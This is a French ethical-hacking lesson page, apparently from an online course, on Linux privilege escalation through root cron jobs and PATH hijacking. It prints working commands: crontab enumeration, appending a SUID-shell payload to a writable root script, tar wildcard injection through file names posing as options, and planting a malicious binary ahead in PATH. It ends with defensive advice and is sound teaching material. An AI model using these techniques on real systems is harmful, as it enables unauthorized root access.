Tâches Cron et PATH
Abus des tâches planifiées
Tâches Cron et PATH est une leçon Ethical Hacking Academy gratuite sur CoddyKit. Ceci est la leçon 3 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Ethical Hacking Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Ethical Hacking Academy comprend 4 leçons au total.
Les tâches cron comme vecteur
Le démon cron exécute des tâches planifiées, souvent avec les privilèges du superutilisateur. Si vous pouvez influencer ce qu’une tâche cron du superutilisateur exécute, son script, ses entrées ou la manière dont elle résout les commandes, vous pouvez exécuter du code avec ces privilèges.
Énumérer cron
Lisez la table crontab du système et les répertoires cron. Notez qui exécute chaque tâche et quels scripts elle appelle.
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/nullSurveiller les tâches cachées
Certaines tâches ne figurent pas dans des fichiers évidents. pspy surveille la création des processus sans nécessiter les privilèges du superutilisateur et révèle les commandes cron au moment de leur exécution, y compris celles que vous ne pouvez pas lire dans la configuration.
./pspy64
# watch for periodic root processesScripts Cron modifiables
L'abus le plus simple consiste à exploiter une tâche cron exécutée par root qui lance un script dans lequel vous pouvez écrire. Ajoutez-y une charge utile, puis attendez la prochaine exécution.
ls -la /opt/backup.sh # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.shInjection par caractère générique
Si une tâche cron exécutée par root utilise un caractère générique comme tar -czf backup.tar.gz * dans un répertoire que vous contrôlez, vous pouvez créer des fichiers dont les noms sont interprétés comme des options de ligne de commande (injection d'arguments), ce qui force tar à exécuter votre commande.
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.shQu'est-ce que PATH ?
PATH est la liste des répertoires dans lesquels l'interpréteur de commandes recherche les commandes. Lorsqu'un script appelle une commande uniquement par son nom (par exemple backup au lieu de /usr/bin/backup), le premier fichier correspondant trouvé dans PATH est utilisé.
echo $PATH
# /usr/local/bin:/usr/bin:/binDétournement de PATH
Si un script exécuté par root appelle une commande sans chemin absolu et que vous pouvez placer un répertoire modifiable en tête de son PATH, déposez-y un binaire malveillant portant ce nom. Root exécutera votre version.
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATHChemin relatif dans les binaires SUID
La même faille existe dans les binaires SUID personnalisés qui appellent system("service ...") sans chemin complet. Le détournement de PATH exécute alors votre code avec les privilèges root — en combinant l'abus de PATH avec le concept de SUID.
Exploiter un répertoire PATH modifiable
Même sans modifier PATH, si un répertoire existant de PATH (comme /usr/local/bin) est modifiable et qu'une tâche root appelle une commande qui s'y trouve, il vous suffit d'y déposer votre binaire.
ls -ld /usr/local/bin # check for write permissionSynchroniser l'attaque
Une élévation fondée sur cron demande de la patience — vous devez attendre l'horaire prévu. Notez l'intervalle, placez votre charge utile, puis vérifiez le résultat (par exemple votre interpréteur de commandes SUID) après l'exécution de la tâche.
watch -n 5 ls -la /tmp/rootbashDéfenses et éthique
Les défenseurs doivent utiliser des chemins absolus dans les scripts, restreindre les permissions sur les scripts cron et leurs répertoires, éviter les caractères génériques dans les chemins contrôlables par un attaquant et définir un PATH sûr dans cron. Testez ces techniques uniquement dans un cadre autorisé.
Vérification rapide
Testez vos connaissances sur cron et PATH.
Récapitulatif
Vous avez appris l'élévation de privilèges par cron et PATH :
- Les tâches cron root qui appellent des scripts modifiables ou utilisent des caractères génériques sont exploitables
- pspy révèle les processus planifiés cachés
- Le détournement de PATH exploite les commandes appelées sans chemin absolu
- Placez la charge utile, attendez l'horaire, puis obtenez les privilèges root
Suite : les exploits du noyau.
Questions Fréquemment Posées
La leçon « Tâches Cron et PATH » est-elle gratuite ?
Oui — le texte complet de « Tâches Cron et PATH » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Ethical Hacking Academy, passe à CoddyKit PRO. Le cours Ethical Hacking Academy comprend 4 leçons au total.
Qu'est-ce que j'apprendrai dans « Tâches Cron et PATH » ?
Abus des tâches planifiées Tu pratiques Ethical Hacking Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.
Dois-je avoir de l'expérience pour commencer Ethical Hacking Academy ?
Aucune expérience préalable n'est requise. Ethical Hacking Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 3 sur 4.
Combien de temps prend la leçon « Tâches Cron et PATH » ?
La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.
Peux-tu écrire et exécuter du code dans cette leçon Ethical Hacking Academy ?
Oui. Chaque leçon Ethical Hacking Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.
Toutes les leçons de ce cours
- Énumération
- Abus de SUID et sudo
- Tâches Cron et PATH
- Exploits du noyau